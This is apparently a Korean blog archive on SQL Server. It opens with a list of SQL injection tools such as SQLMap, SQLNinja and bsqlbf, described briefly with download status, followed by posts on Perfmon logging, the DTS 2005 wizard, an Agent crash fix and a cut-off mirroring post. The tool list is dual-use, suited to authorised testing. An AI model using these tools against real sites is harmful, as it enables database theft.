3. SQL Injection Brute-forcer - SQL Injection 공격 취약점을 찾고 이를 이용하여 공격하는 자동화 도구입니다. 사용자가 작업하는 내용을 볼 수 있으며, 블라인드 SQL 인젝션을 이용합니다. 다운로드 -x

4. SQL Brute - 블라인드 SQL 인젝션 취약점을 사용하여 데이터베이스에서 데이터를 추출해내는 무작위 도구입니다. MS SQL 서버의 시간, 오류 기반으로 익스플로잇을 수행합니다. 오라클의 경우 오류를 기반으로 합니다. 이 프로그램은 Python으로 작성되었으며 멀티 스레드로 동작하며 표준 라이브러리를 사용합니다. 다운로드 -x

5. BobCat - SQL Injection 취약점의 잇점을 이용하는 감사 도구입니다. 사용자가 사용하는 애플리케이션이 액세스하는 테이블에서 데이터를 가져올 수 있습니다. 다운로드 -x

6. SQLMap - 블라인드 SQL Injection을 자동으로 수행하는 도구로 phthon으로 개발되었다. 다운로드 -x

7. Absinthe - GUI 기반의 도구로 블라인드 SQL Injection 취약점에 이용하여 데이터베이스의 스키마와 목록을 자동화 과정으로 다운로드합니다. 다운로드 -ok

8. SQL Injection Pen-testing Tool - 웹 애플리케이션에서의 취약점을 찾아 데이터베이스를 점검하도록 설계된 GUI 기반의 도구. 다운로드 -x

9. SQID - SQL Injection Digger. 웹 사이트의 통상적인 오류와 SQL Injection을 찾는 명령행 기반의 도구. 웹 페이지에서 SQL Injection 이 가능한 부분을 찾아내어 취약점을 입력하는 폼을 테스트한다. 다운로드 -x

10. Blind SQL Injection Perl Tool - bsqlbf는 SQL Injection에 취햑한 웹 사이트에서 정보를 가져오도록 작성된 펄 스크립트. 다운로드 -x

11. SQL Power Injection Injector - 이 프로그램은 웹페이지에서 SQL 명령어를 삽입하는 테스트를 수행합니다. 멀티 스레드 방식으로 블라인드 SQL Injection 공격을 자동화하여 실행합니다. 다운로드 -ok

12. FJ-Injector Framework - 웹 애플리케이션에 SQL Injection 취약점이 있는지 검사하기 위해 디자인된 오픈 소스 무료 프로그램입니다. HTTP 요청을 가로쳐서 변경하기 위한 프록시 기능도 제공합니다. SQL Injection 익스플로잇을 자동화하여 수행합니다. 다운로드 -ok

13. SQLNinja - MS SQL 서버를 백 엔드 데이터베이스로 사용하는 웹 애플리케이션의 SQL Injection 취약점을 익스플로잇하는 도구입니다. 다운로드 -x
14. Automatic SQL Injector -  SQLNinja와 유사한 도구로, 오류 코드가 반환되는 SQL Injection 취약점을 자동으로 찾아 줍니다. 다운로드 -x

15. NGSS SQL Injector - 데이터베이스에 저장된 데이터를 액세스하기 위한 SQL Injection취약점을 이용하여 익스플로잇합니다. Access, DB2, Informix, MSSQL, MySQL, Oracle, Sysbase 등 다양한 데이터베이스를 지원합니다. 다운로드 -x

출처 : http://www.ntfaq.co.kr/3909
Comment 0

SQL서버를 활용한 성능카운터 수집

SQL/Mssql 2005 2008/02/26 13:41

SQL서버를 활용한 성능카운터 수집

 

시스템의 성능 정보를 분석하기 위해서 가장 흔하게 쓰이는 도구가 바로 Perfmon (성능카운터)입니다.  일반적으로 수집한 자료를 이진파일이나, csv파일로 저장하여 분석하곤 하는데요, 이번에는

SQL서버로 성능 데이터를 저장하여 분석하는 방법에 대해서 살펴보겠습니다.

 

우선, 성능데이터 정보를 저장하게 될 데이터베이스를 하나 새로이 만들겠습니다.

반드시 새로 만들어야 하는 건 아니구요, 기존에 사용하시는 관리목적의 데이터베이스가 있다면 그걸 사용하셔도 괜찮습니다.

 

우리는 perfmon이라는 이름의 데이터베이스를 아래 그림처럼 만들겠습니다.

사용자 삽입 이미지
 

Perfmon 데이터베이스의 처음 크기는 적당한 수준에서 넉넉히 잡으시기 바랍니다.

보편적으로 성능데이터 분석을 위해 수집되는 자료들은 방대하고, 이 양은 꽤나 큽니다.

저는 일단 20MB로 초기 파일 크기를 설정하였습니다.

사용자 삽입 이미지
 

데이터 베이스 생성을 완료하였으면, 이제 성능카운터가 사용하게 될 시스템 DSN을 하나 만들어야 합니다.

perfmon.exe SQL서버로 데이터를 저장할 때 ODBC를 이용해서 SQL서버와 연결하게 됩니다.

 

관리도구에서 데이터원본(ODBC)를 실행합니다.

ODBC 데이터 원본 관리자에서 시스템 DSN탭을 선택하신 후에 우측의 추가 버튼을 눌러서 새 데이터 원본을 만듭니다.

데이터 원본으로 SQLServer를 선택합니다.

사용자 삽입 이미지
 

데이터 원본 이름을 적절히 지정합니다. 저는 ‘perfmon이라고 명명하였습니다.

그리고, 연결하실 SQL Server를 지정합니다.

 

사용자 삽입 이미지
 

다음을 눌러서 기본 데이터 베이스를 지정해줍니다.

앞서 만들었던 perfmon 데이터베이스를 지정합니다.

 

사용자 삽입 이미지
 

다음을 누르고, 구성옵션을 지정합니다. 디폴트 설정으로 넘어갑니다.

 

사용자 삽입 이미지
 

설정이 완료되었고, 설정 상태가 올바르게 되었는지 데이터 원본 테스트 버튼을 눌러서 연결 테스트를 해봅니다.

사용자 삽입 이미지
 

테스트를 성공적으로 완료했습니다라는 메시지가 나오면 잘 세팅하신겁니다.

 

사용자 삽입 이미지
 

 

이제, 실제로 성능카운터에서 수집할 로그를 설정해보겠습니다.

관리도구에서 성능 을 실행합니다.

성능 로그 및 경고에서 카운터 로그를 선택하신 후 새 로그 설정을 선택합니다.

사용자 삽입 이미지
 

수집하실 개체 및 카운터를 지정하시고, 수집간격을 지정합니다.

그리고, 가장 중요한 다음 계정으로 실행 부분에 SQL서버에 등록되어 있는 윈도우 계정을 지정합니다.  Administrator로 지정 후 암호 설정을 합니다.

 

사용자 삽입 이미지
 

로그파일 탭에서 로그파일 종류를 SQL 데이터베이스로 선택합니다.

사용자 삽입 이미지
  

구성 버튼을 눌러서 앞서 만든 시스템 DSN을 지정합니다.

사용자 삽입 이미지
 

마지막으로 성능카운터 수집 일정을 지정합니다.

사용자 삽입 이미지
 

일정에 따라서 자동으로 카운터 로그가 시작됩니다.

 

사용자 삽입 이미지
 

 

로그 수집이 시작되면, SQL서버에 아래 그림과 같이 3개의 테이블이 생성되고 성능로그 데이터들이 저장되게 됩니다.

사용자 삽입 이미지
 



 

이렇게 수집된 자료는 쿼리를 통해서 다양하게 조회 해 볼 수 있을것입니다.

 

또한 아래처럼 성능 카운터에서 로드 하여 그래프로 확인 하실 수 있습니다.

 

성능 카운터에서 시스템 모니터를 선택하신후에 로그 데이터 보기 아이콘을 클릭합니다.

사용자 삽입 이미지
 

시스템 모니터 등록 정보의 원본 탭에서 데이터 원본을 데이터베이스로 선택하신 후에 시스템 DSN을 지정하시고, 수집한 로그 집합을 선택합니다.

 

사용자 삽입 이미지
 

데이터 탭을 선택하여 표시할 수집 데이터를 선택 추가합니다.

 

 

사용자 삽입 이미지
 

 

카운터 추가가 끝나면 아래 와 같이 로깅 데이터가 그래프로 표시 됩니다.

사용자 삽입 이미지
 

감사합니다.

Comment 0

SQL Server 2005 DTS 가져오기/내보내기 마법사로 패키지 생성

SQL/Mssql 2005 2008/01/28 10:47

새로 만들어진 SQL Server 2005 DTS 가져오기/내보내기 마법사의 기능

Kirk Haselden


마이크로소프트에서는 여러 가지 이유로 SQL 서버 2005에 포함되어 있는 데이터변환서비스(DTS)를 완전히 새로 개발하였다. 새로운 DTS의 기능과 사용자 편의성에 부가하여 확장성과 성능 측면의 개선작업이 이루어졌다. 2004년 6월호 기사 "DTS 무엇이 새로워 졌는가?" 에서 새로운 DTS 관련 기능의 개관을 소개한 바와 같이 DTS 디자이너에 많은 새로운 기능과 성능개선작업이 이루어졌다. SQL 서버 2005의 공개 베타 버전과 필자에게 7월에 제공된 비공개 베타 버전을 통해 좀더 실제적인 DTS의 개선사항에 대해서 자세히 살펴볼 기회가 있었다. SQL 서버 2000 DTS는 주로 데이터에 대해 가져오기/내보내기 작업을 수행하기 위해서 사용되어 왔으므로 DTS 2005의 가져오기/내보내기 기능에 대한 개선사항부터 좀 더 자세히 소개하고자 한다. 마이크로소프트 DTS 개발팀에서는 전체적인 DTS 2005 도구집합에 대한 기능을 향상시키고 확장시키기 위해서 노력하고 있으나 가져오기/내보내기 마법사는 데이터를 이동시키기 위해 가장 빠르게 패키지를 생성할 수 있는 최선의 방법으로서의 입지를 유지해 나갈 것이다. 가져오기/내보내기 마법사에는 크게 두 가지 개선사항이 포함되어 있다. 첫째, 가져오기/내보내기 마법사는 더 이상 SQL 서버 데이터베이스간의 데이터베이스 개체의 복사를 지원하지 않는다. 데이터베이스 개체를 복사하기 위해서는, 기존 엔터프라이즈 관리자, 쿼리분석기 및 기타도구를 대체하게 될 SQL 서버 2005의 새로운 관리도구인 SQL Server Management Studio에 포함된 데이터베이스 이관(Transfer Database) 마법사라는 새로운 도구를 사용해야 한다. 두 번째, 가져오기/내보내기 마법사는 더 이상 스크립트 변환작업을 지원하지 않는다.

왜 이러한 변경사항을 적용했는가 궁금해 할 것이다. 그 질문에 대한 대답은 매우 단순하다. 더 이상 내보내기, 변환, 가져오기 등을 담당하는 다기능 도구가 아니라 좀더 데이터 전송 도구라는 기능에만 국한하여 최대한 단순화하기 위해서 이러한 변경사항을 적용하였다. 기존에는 데이터베이스 개체를 복사하는 기능이 DTS 가져오기/내보내기 마법사와 데이터베이스 복사(Copy Database) 마법사에 모두 포함되어 있어서 사용자에게 혼동을 가져왔었다. 이러한 기능의 중복을 제거하기 위해 데이터베이스 개체에 대한 복사기능은 데이터베이스 복사 마법사로 통합되었다.

이러한 통합과정을 통해 작업에 대한 전용 도구가 무엇인지가 좀 더 명확하게 되었다. 데이터를 특정한 위치에서 다른 곳으로 전송하기 위한 패키지를 신속하게 만들기 위해서는 데이터 가져오기/내보내기 마법사를 사용하면 된다. 데이터베이스 개체(데이터베이스 전체 또는 데이터베이스의 일부개체)를 이동시키기 위해서는 데이터베이스 이관 마법사를 사용하면 된다. 복잡한 데이터 변환을 수행하는 절차를 처리하기 위한 패키지를 만들기 위해서는 DTS 디자이너를 사용하면 된다.

데이터 가져오기/내보내기 마법사가 단순화된 기능만을 제공하도록 수정되었음에도 불구하고 여전히 다양한 작업을 수행할 수 있고 유연성을 가지는 매우 뛰어난 도구임에는 틀림이 없다. 선택된 옵션과 설정에 따라 데이터 가져오기/내보내기 마법사는 다양한 경로로 진행하게 되며 이번 호의 기사에서 모든 기능을 다 설명할 수는 없다. 그러므로 데이터 가져오기/내보내기 마법사의 개선된 기능을 살펴보기 위해 간단한 데이터 가져오기 패키지를 생성하고 그 과정에서 DTS 2000과 비교하여 개선된 기능에 대해서 소개하고자 한다. 앞으로 다른 기사를 통해 DTS 디자이너를 사용하여 패키지를 조회하고 편집하는 과정을 소개하면서 UI에 숨겨져 있는 데이터 가져오기/내보내기 마법사의 내부 기능에 대해서는 좀 더 자세히 설명할 예정이다.

시작하기

MSDN 구독자라면 http://msdn.microsoft.com/subscriptions/downloads  에서 DTS 2005 가져오기/내보내기 마법사를 다운로드 받을 수 있다. 이번 호의 데이터 가져오기 시나리오를 설명하기 위해서 SQL 서버 2005 AdventureWorks 예제 데이터베이스에서 추출한 고객 및 주소 데이터를 포함하고 있는 텍스트 파일을 생성하였다. [웹 리스트1]에 나타나 있는 T-SQL 쿼리를 사용하여 AdventureWorks 데이터베이스의 몇 가지 테이블을 조합하여 고객 주소정보를 AWCustomers.txt라는 텍스트 파일로 저장하였다 (웹 리스트1은 www.winnetmag.co.kr의 자료실에서 다운로드 받을 수 있다). 예제의 설명을 위해 꼭 필요한 부분만으로 예제 데이터를 단순화했다. 이번 호의 예제에서는 텍스트 파일에서 SQL 서버 테이블로 데이터를 업로드하는 과정에 대해서 살펴보게 된다.

먼저 데이터 가져오기/내보내기 마법사를 실행하기 위해서는 네 가지 방법을 사용할 수 있다. 명령 프롬프트 상에서 DTSWizard.exe를 입력하고 실행하면 마법사를 실행할 수 있다. 새로운 DTS 개발 환경인 BI워크벤치(Business Intelligence Workbench)에서 SQL 서버 시작 메뉴의 DTS 패키지 프로젝트 노드 하위에 있는 데이터 가져오기/내보내기 마법사 메뉴항목을 선택하면 마법사를 실행할 수 있다. 또한 SQL 서버 2000과 마찬가지로 SQL 서버 2005를 설치하면 시작 메뉴의 SQL 서버 메뉴 트리에 메뉴항목으로 DTS 마법사가 추가되는데 이 DTS 마법사 메뉴항목을 선택하면 마법사를 실행할 수 있다. 마지막으로 SQL Server Management Studio에서 특정 데이터베이스 노드를 선택한 다음, 팝업 메뉴에서 마법사를 실행할 수 있다. 마법사를 실행하게 되면 시작 화면이 나타나게 된다. 마법사의 시작화면에서 "시작 페이지 숨기기" 체크 박스를 선택하게 되면 다음 번 실행부터는 시작 화면은 나타나지 않도록 할 수 있다.

데이터 원본 설정

[그림 1]에는 데이터 원본을 선택하기 위한 데이터 원본 대화상자가 나타나 있다. 상단의 드롭다운 박스에서는 데이터 원본 공급자 유형을 선택할 수 있다. 데이터원본 드롭다운 박스를 살펴보면 이전 버전에 비해 DTS 2005에서 일반 텍스트 파일을 처리하는 방법이 달라졌다는 것을 알 수 있다. SQL 서버 2000에서는 DTS가 일반 텍스트 파일에 접근하기 위해서 text OLE DB 드라이버를 사용했다. DTS 2005에서는 어댑터(adapter)라고 불리는 파이프라인 구성요소가 추가되었다. (데이터 흐름 작업을 의미하는 파이프라인의 개념에 대해서는 2004년 6월호 "DTS, 무엇이 새로워 졌는가?" 기사를 참조한다.) 원본 어댑터는 데이터베이스 시스템과 원본 데이터 파일간의 상호작용을 관장하는 파이프라인 구성요소로 사용된다. 그래서 데이터 원본 드롭다운 박스에는 실제 데이터 원본 공급자와 어댑터가 함께 표시된다. 이번 호의 예제에서는 일반 텍스트 파일을 SQL 서버로 가져오기 작업을 하기 위해 일반 텍스트(Flat File) 데이터 원본을 선택하였다. 파일이름 텍스트박스에 AWCustomers.txt 파일(www.winnetmag.co.kr의 자료실에서 다운로드)을 지정하였다.

데이터 원본 공급자나 어댑터를 선택하게 되면 선택된 옵션에 따라 데이터 원본 대화상자의 이후 진행절차가 통제된다. 일반 텍스트 파일 어댑터에서 원본 데이터 파일내의 컬럼을 구별하는 방법을 지정하기 위해 일반 텍스트 파일 형식을 가변컬럼길이(RaggedRight) 파일형식으로 설정하였다. 가변컬럼길이 파일형식은 DTS 2005에서 새로 지원되는 기능으로 각 행이 CR/LF의 조합으로 구분된다는 것을 제외하고는 고정길이형식과 동일하다. 그 외에 지정할 수 있는 파일 형식에는 고정 길이 형식과 구분된(delimited) 데이터형식이 있다. 고정 너비 형식은 데이터의 모든 행이 동일한 너비로 구성되어 있어서 컬럼을 구별할 때 일정한 너비를 기준으로 구별할 수 있는 데이터를 말한다. 구별된 데이터의 의미는 각 컬럼이 세미콜론, 탭, 콤마와 같은 구분자에 의해서 구분된 데이터를 의미하며 CSV 파일이 구분된 데이터의 한 예제가 될 수 있다.

예제 파일에는 두 행의 헤더가 존재하며 한 행에는 컬럼 명칭이 한 행에는 컬럼의 길이만큼 대시("-")가 나타난다. 이를 제거하기 위해 "헤더 행 제외" 옵션을 2로 설정하여 처음 2 개의 헤더 행은 데이터로 인식하지 않도록 설정할 수 있다. 하지만 이번호의 예제에서는 "첫 번째 행을 컬럼 명칭으로 사용" 체크박스를 사용하였다. 이 옵션은 필수로 설정할 필요는 없으며 어댑터가 컬럼 명칭을 첫 행의 데이터를 기준으로 부여할 수 있도록 하는 기능으로 추후에 해당 패키지를 DTS 디자이너에서 편집하려고 하는 경우에 유용하게 사용될 수 있다. 기본값으로 설정되는 Column1, Column2와 같은 컬럼 명칭보다는 실제 컬럼 명칭을 부여하는 것이 훨씬 바람직하다. 대시("-")로 된 두 번째 행을 처리하는 방법에 대해서는 후반부에서 다시 설명한다.

로케일 드롭다운 박스에서는 데이터 원본 연결 및 어댑터에서 사용하게 될 로케일을 선택할 수 있다. 로케일 설정은 DTS에서 데이터를 문자열로 변환할 때 처리하는 방법에 영향을 미치게 된다. 예를 들어 DTS에서 날짜 데이터를 문자열로 변환할 때 지정된 로케일에 따라 변환형식이 결정되게 된다. 그리하여 DTS에서 2004년 5월 17일 월요일의 날짜 데이터를 문자열로 변환하게 되면 영어/뉴질랜드 로케일을 사용하는 경우에는 17/5/04로 변환되지만 영어/남아프리카 로케일을 사용하는 경우에는 04/5/17 로 변환된다. 기본값은 데이터 가져오기/내보내기 마법사를 실행하는 시스템에 등록된 로케일로 설정된다. 로케일을 변경하면 마법사에서는 해당 로케일에 대한 기본 코드 페이지값을 설정하게 된다. 하지만 코드 페이지가 로케일 설정에 종속되는 것은 아니며 어떤 코드 페이지라도 선택 가능하다. [그림 1]에서는 유니코드로 설정되었기 때문에 코드 페이지 드롭다운 박스가 비활성화되어 있다.

헤더 행과 데이터 행을 구별하여 서로 다른 일반 텍스트 파일형식을 지정하기 위해서는 "헤더 행 구분자" 옵션을 설정하면 된다. "헤더 행 구분자" 옵션을 사용하면 일반 텍스트 파일형식에서 헤더 행의 구분자로는 특정 문자를 사용하고 데이터 행의 구분자로는 다른 문자를 사용할 수 있다. 헤더 행과 데이터행에 서로 다른 구분자를 사용하는 이유는 여러 가지가 있을 수 있다. 예를 들어 일부 기존(legacy) 대량입력 시스템에서 무조건 한 행은 헤더 행으로 인식하여 무시하도록 설정되어 있는 경우라면 데이터 행과는 달리 헤더 행에 대해서는 구분자로 구분되지 않을 수도 있다. 만약 이러한 방식으로 만들어진 일반 텍스트 파일을 업로드 하기 위해서는 새로운 마법사 기능인 "헤더 행 구분자" 옵션을 사용하면 된다.

"텍스트 구분자" 텍스트 박스는 원본 파일이 특정 구분자로 구분되어 있는 형식일 때 유용하게 사용된다. 원본 파일이 콤마로 구분된 파일이고 쌍따옴표(")를 텍스트 구분자로 지정하게 되면 쌍따옴표로 구분된 텍스트 데이터 안에 포함된 콤마(,)는 구분자로 인식하지 않는다. 예를 들어 "15, rue Descartes" 문자열에 포함된 콤마는 구분자로서 해석되지 않는다. 텍스트 구분자는 일반적으로 쌍따옴표(")나 홑따옴표(')가 주로 사용되지만 사용자정의하여 사용할 수도 있다.


그림1 데이터 원본 선택 대화상자


그림2 컬럼 대화상자

원본 파일과 형식을 설정한 다음에는 컬럼의 너비를 설정해야 한다. [그림 1]의 대화상자 왼쪽부분에 있는 컬럼 노드를 선택하면 [그림 2]와 같은 컬럼 대화상자가 나타난다. 가변컬럼길이(Ragged-right) 파일형식을 선택했기 때문에 각 컬럼의 너비를 각각 지정해야 한다. 원본 파일이 구분자에 의해서 구분되어 있는 경우에는 마법사가 자동적으로 컬럼 너비를 인식하여 표시해 준다. 상단의 줄자 컨트롤을 선택하면 컬럼의 시작점을 표시하는 마크를 지정할 수 있다. 컬럼 마크를 제거하기 위해서는 컬럼 마크를 더블 클릭하거나 오른쪽 마우스 버튼을 클릭하고 팝업메뉴에서 제거 옵션을 선택하면 된다.


그림3 컬럼 속성 대화상자


그림4 데이터원본 미리보기 대화상자

다음 단계는 컬럼의 속성을 지정하는 단계이다. 컬럼의 너비를 설정한 다음, 대화상자 왼쪽 영역에서 컬럼 속성 노드를 클릭하면 [그림 3]과 같은 대화상자가 나타난다. 이 대화상자에서 각 컬럼에 맞는 데이터 형식을 지정하여 적절하게 형변환될 수 있도록 지정하면 된다. 예를 들어 컬럼에 날짜 데이터가 포함되어 있는 경우에는 DT_DATE로 데이터 형식을 지정하면 된다. 마법사에서는 [그림 2]의 컬럼 대화상자에서 지정한 컬럼의 너비를 기준으로 컬럼 속성에 대한 정의를 자동으로 설정해 준다. 하지만 필요하다면 각 컬럼의 속성을 수정할 수 있으며 이를 위해서 "추가", "삭제" 버튼을 사용하면 된다.

컬럼 속성 대화상자의 하단에는 "데이터형 제안" 버튼이 있다. 이 버튼을 클릭하면 "컬럼 데이터형 제안" 대화상자가 나타난다. "컬럼 데이터형 제안" 대화상자를 사용하면 원본 텍스트 파일에 포함된 각 컬럼에 맞는 데이터형을 지정하는 작업을 좀 더 편리하게 수행할 수 있다. 이 기능을 사용하면 각 컬럼에 맞는 데이터형을 매우 간단하고, 빠르고, 정확하게 지정할 수 있다. 적절한 컬럼의 데이터형을 지정하는 작업을 통해 각 컬럼은 해당 컬럼의 데이터를 저장하기 위한 최소한의 데이터형으로 설정되어야 하며 이를 통해 최종 결과로 생성된 패키지를 수정하는 작업을 수행하거나 데이터 흐름을 처리하는 성능을 최적화하는 작업을 좀 더 쉽게 할 수 있다.

컬럼 속성을 설정한 다음에는 [그림 4]와 같은 데이터 미리보기를 볼 수 있다. 미리보기한 데이터는 컬럼 명칭아래에 있던 "-" 행이 없어졌다는 것을 제외하고는 매우 정확하게 준비가 된 상태이다. "-" 행을 없애기 위해 "제외할 데이터행"을 1로 설정하였다. "제외할 데이터행"을 설정한 다음, 최종적으로 데이터 원본 미리보기 대화상자에서 전체적인 설정이 제대로 설정되었는지를 점검할 수 있다. 미리보기 기능은 DTS 2005에서 새롭게 제공되는 기능으로 모든 컬럼의 데이터를 스크롤하며 컬럼 너비가 너무 작게 설정되었는지 잘못된 행 정보가 포함되지는 않았는지를 점검할 수 있다.

대상 설정

데이터 미리보기 창에서 데이터를 점검한 결과, 모든 설정값이 제대로 설정되었다면 대상 파일을 선택하는 단계로 진행하면 된다. 예제에서는 Addresses 데이터베이스를 생성하고, 해당 데이터베이스에 텍스트 파일에 있는 데이터를 마법사를 사용하여 업로드할 것이다. 새로운 데이터베이스를 생성하기 위해서는 [그림 5]에 나타난 대상 선택 대화상자에서 "새로 만들기" 버튼을 클릭하면 된다. 새 데이터베이스 만들기 대화상자에 데이터베이스 명칭을 Addresses로 입력한 다음, 나머지는 기본 설정값으로 입력한 다음, "확인" 버튼을 클릭한다. 대상 선택 대화상자의 데이터베이스 필드에 새로 만들어진 Addresses 데이터베이스가 선택된다. 이러한 과정을 통해 데이터베이스를 생성하고, 대상에 대한 연결을 설정하게 된다.


그림5 대상 선택 대화상자


그림6 원본 테이블 및 뷰 선택 대화상자

대상에 대한 연결을 설정한 다음, 원본 텍스트 파일의 데이터를 업로드할 테이블을 지정하고 해당 대상 테이블의 각 컬럼과 원본 텍스트 파일의 컬럼을 매핑하는 방법을 지정해야 한다. 대상 선택 대화상자에서 "다음"을 클릭하면 [그림 6]과 같이 원본 테이블 및 뷰 선택 대화상자가 나타난다. 예제에서는 일반 텍스트 파일을 업로드하는 것이기 때문에 테이블이 하나만 나타나게 된다. 만약, 특정 데이터베이스로부터 가져오기 작업을 하는 경우에는 하나이상의 테이블을 설정할 수 있다. 예제에서는 원본 데이터 파일로 AWCustomers.txt 파일을 지정하였다. 또한 원본 텍스트 파일의 각 컬럼을 대상 테이블의 각 컬럼으로 매핑하는 작업을 수행하였다. 이를 위해 "편집"버튼을 클릭하면 [그림 7]에 나타나 있는 것과 같이 컬럼 연결 대화상자가 나타난다.

컬럼 연결 대화상자에서는 원본 컬럼에 연결할 대상 컬럼을 지정하게 된다. 원본 컬럼을 제거하기 위해서는 대상 선택 컬럼을 클릭한 다음 "<무시>"를 선택하면 된다. Email Address 컬럼과 Address Line 2 컬럼에는 Null허용 체크박스를 체크하였다. 컬럼이 Null 허용으로 체크되면 대상 테이블을 생성할 때 해당 컬럼은 NULL 값이 허용될 수 있도록 설정되게 된다.

예제에서는 대상 테이블에 처음으로 데이터를 업로드하는 것이기 때문에 대상 테이블을 새로 생성해야 했다. 컬럼 연결 대화상자의 SQL 편집 버튼을 클릭하면 테이블 생성 SQL 구문 대화상자가 나타나게 되고 DTS에서 자동으로 생성한 대상 테이블 생성 스크립트를 확인해 볼 수 있다. 예제 테이블 생성 스크립트에서는 [그림 7]에서 Null 허용으로 설정한 Email Address 컬럼과 Address Line 2 컬럼에는 NOT NULL 제약조건이 설정되지 않았다는 것을 확인해 볼 수 있다. 필요에 의해서 스크립트를 수정해야 한다면 이 대화상자를 사용하여 테이블 생성 스크립트를 변경할 수 있다. 테이블 생성 SQL 구문 대화상자에서 "확인" 버튼을 클릭하면 다시 [그림 6]에 나타난 것과 같이 원본 테이블 및 뷰 선택화면으로 되돌아간다.

패키지 저장 및 실행

새로운 DTS 패키지를 생성하고 해당 패키지를 저장하기 위해서 "다음"버튼을 클릭하면 패키지 저장 및 일정 대화상자가 나타난다. 패키지 저장 및 일정 대화상자에서는 DTS 패키지를 SQL 서버에 저장할 수도 있고 DTSX 파일 확장자를 사용하여 XML 파일로도 저장할 수 있다. XML 파일로 저장하는 기능은 DTS 2005에서 새롭게 지원하는 기능이다. XML 파일로 저장하게 되면, 구조적인 저장소에 저장하는 것에 비해 좀 더 쉽게 조회하거나 수정할 수 있다. 또한 다른 도구를 사용하여 해당 XML 파일에 대한 처리작업을 수행할 수도 있다. 그래서 마이크로소프트에서는 DTS 패키지를 XML로 저장하는 기능을 추가했으며 구조적 저장소 파일로 저장하는 기능에 대한 지원을 단계적으로 중단하기로 결정하였다.


그림7 컬럼 연결 대화상자

DTS 패키지를 실행하는 일정을 설정하기 위한 옵션이 존재한다. DTS 패키지에 대한 일정을 수립하는 옵션은 SQL 서버 2005 베타2 버전까지는 비활성화 되어 있는 상태이며 DTS 개발팀에서는 아직 이 기능을 어떻게 구현할 것인지에 대해서 확정하지 않았기 때문에 패키지 저장 및 일정 대화상자는 약간 변경될 가능성이 있다. DTS 2000 가져오기/내보내기 마법사에서 지원하던 두 가지 저장 옵션이 누락되어 있다는 것을 발견할 수 있다. 마이크로소프트에서 정책적으로 더 이상 지원하지 않기로 결정하였기 때문에 DTS는 더 이상 메타 데이터 서비스로 저장하기 기능을 지원하지 않는다. 스크립트로 저장하기 기능은 SQL 서버 2005 베타 2에서는 지원하지 않지만 최종 DTS 2005가 출시되는 시점에서는 지원될 예정이다.

선택한 저장 옵션(SQL 서버 또는 XML 파일)에 따라 패키지를 저장할 SQL 서버나 XML파일명을 지정하는 대화상자가 나타난다. 예제에서는 SQL 서버 MSDB 데이터베이스의 sysdtspackages90 테이블에 저장하게 된다. 만약 XML 파일로 저장 옵션을 선택한 경우라면 SQL 서버로 저장하기 옵션을 선택한 경우와 다른 대화상자가 나타나게 된다.


그림8 마법사 완료 창


그림 9 패키지 실행 결과 상태 창

패키지를 저장하기 위한 모든 필수 정보를 입력하면 지금까지 구성한 모든 작업을 확인하기 위한 [그림 8]과 같은 마법사 완료 창이 나타나게 된다. 하나의 보고서 형식으로 지금까지 설정해온 모든 작업이 나타나기 때문에 작업에 대한 확인작업을 좀 더 간편하게 할 수 있다. 설정된 작업과 각 작업의 요약정보가 모두 제대로 설정되었다면 DTS 패키지를 실행시키면 된다. 패키지 저장 및 일정 대화상자에서 "즉시실행" 옵션을 선택하였으면 마법사 완료 창에서 "완료" 버튼을 클릭하면 패키지가 실행되게 된다. 만약 "완료" 버튼을 클릭하였을 때 오류가 발생하게 되면 다시 앞 단계로 되돌아가서 설정된 옵션을 변경할 수 있다. 이러한 기능은 패키지를 테스트하고 오류를 수정하는 절차를 나머지 설정을 유지한 상태에서 필요한 부분만을 수정할 수 있도록 해 주기 때문에 매우 유용하게 사용될 수 있다.

패키지를 맨 처음 실행하기 위해서는 먼저 해당 패키지를 빌드하는 과정을 수행하게 된다. 패키지에 "즉시실행"옵션을 설정하지 않았다고 하더라도 "완료" 버튼을 클릭하게 되면 [그림 9]와 같은 요약 정보 창이 나타나게 된다. 예제에서는 패키지를 "즉시실행" 옵션을 선택했기 때문에 패키지를 수행한 결과를 나타내는 동작 컬럼에 "실행(Executing)","후처리(Post-execute)","정리(Cleanup)" 등과 같은 추가행이 나타나게 된다. 패키지를 실행하였을 때 오류가 발생한 경우에는 메시지 컬럼에 오류내역에 대한 링크가 나타나게 된다. 메시지에 대한 링크를 클릭하게 되면 해당 오류에 대한 자세한 정보를 나타내는 별도의 창이 나타나게 된다.

예제에서는 패키지 실행 결과 상태 창에 패키지가 성공적으로 실행되었다는 정보가 나타나 있으며 메시지 컬럼에 "18508 행이 전송되었습니다"라는 메시지링크를 선택하면 패키지 수행 결과를 확인할 수 있다. DTS 2005의 실행결과 산출물은 DTS 2000 실행결과 산출물에 비해서 좀 더 많은 정보가 포함되어 있으며 패키지에 대한 문제해결에 도움을 주기 위해서 각 패키지 수행 단계에서 실제로 어떠한 작업이 수행되었는지를 좀 더 자세히 살펴볼 수 있게 개선되었다. [그림 9]에 나타나 있는 "보고서" 버튼을 클릭하면 패키지 산출물을 보고서 파일로 저장하거나 클립보드에 저장하거나 Email 메시지로 전송할 수 있다. "필터" 버튼을 클릭하면 산출물에 포함된 정보에 대해서 필터를 적용할 수 있다. 예를 들어 실패한 작업, 또는 성공한 작업만을 별도로 필터를 적용하여 살펴볼 수 있다.

지금까지 본 것과 같이 새로운 DTS 가져오기/내보내기 마법사는 이전 버전과 유사하지만, 실제적으로 꼭 필요한 부분에 몇 가지 중요한 개선작업이 이루어졌다. 새로운 DTS 가져오기/내보내기 마법사에서는 데이터 변환이나 데이터베이스 개체에 대한 이관 기능은 제외되고 데이터의 이동부분에 국한하여 기능이 집약되었으며 패키지를 생성하고 실행할 때 발생할 수 있는 문제점을 쉽게 찾아내고 수정할 수 있게 되었다.

Comment 0

SQL 2005 Agent 에러 및 실행 안될때

SQL/Mssql 2005 2008/01/16 10:25
Exception 5 caught at line 188 of file e:\sql9_sp2_t\sql\komodo\src\core\sqlagent\src\autostrt.cpp.  SQLServerAgent initiating self-termination.

로그에는 위와 같은 에러가 뜨고 xps.... 에러로 저장 프로시저로 어떤 값을 바꾸고 하면 된다고 하는데 해봐도 안됨! 이것 저것 해볼때로 해본봐도 안되어서 잘 실행되는 sql 2005의 Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\SQLAGENT90.EXE 을 안되는 곳에 덮어 쓰면 해결~!!

Comment 0

sql server 2005 미러링 구성 및 주의 사항

SQL/Mssql 2005 2008/01/07 18:18

미러링을 구성하면서 인터넷 자료를 찾아 보면 구성에 대해 나와있는건 흔히 볼수 있다

